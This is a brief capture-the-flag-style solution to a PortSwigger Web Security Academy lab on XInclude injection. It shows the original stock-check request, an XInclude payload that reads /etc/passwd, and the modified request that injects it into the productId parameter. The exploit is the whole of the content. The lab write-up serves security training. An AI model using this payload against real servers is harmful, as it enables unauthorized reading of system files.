Port Swigger Exploiting XInclude to retrieve files
Exploiting XInclude to retrieve files
Solution
Check stock for productID=1
POST /product/stock HTTP/2
Host: 0ac2005503163633836c56190065000c.web-security-academy.net
Cookie: session=DPARm0dIsD0GP80bkBFCetLTPGdMgT32
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ac2005503163633836c56190065000c.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: https://0ac2005503163633836c56190065000c.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
productId=1&storeId=1
Create payload
Payload
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
---
Old request
POST /product/stock HTTP/2
Host: 0ac2005503163633836c56190065000c.web-security-academy.net
Cookie: session=DPARm0dIsD0GP80bkBFCetLTPGdMgT32
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ac2005503163633836c56190065000c.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: https://0ac2005503163633836c56190065000c.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
productId=1&storeId=1
---
New request
POST /product/stock HTTP/2
Host: 0ac2005503163633836c56190065000c.web-security-academy.net
Cookie: session=DPARm0dIsD0GP80bkBFCetLTPGdMgT32
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ac2005503163633836c56190065000c.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: https://0ac2005503163633836c56190065000c.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Solved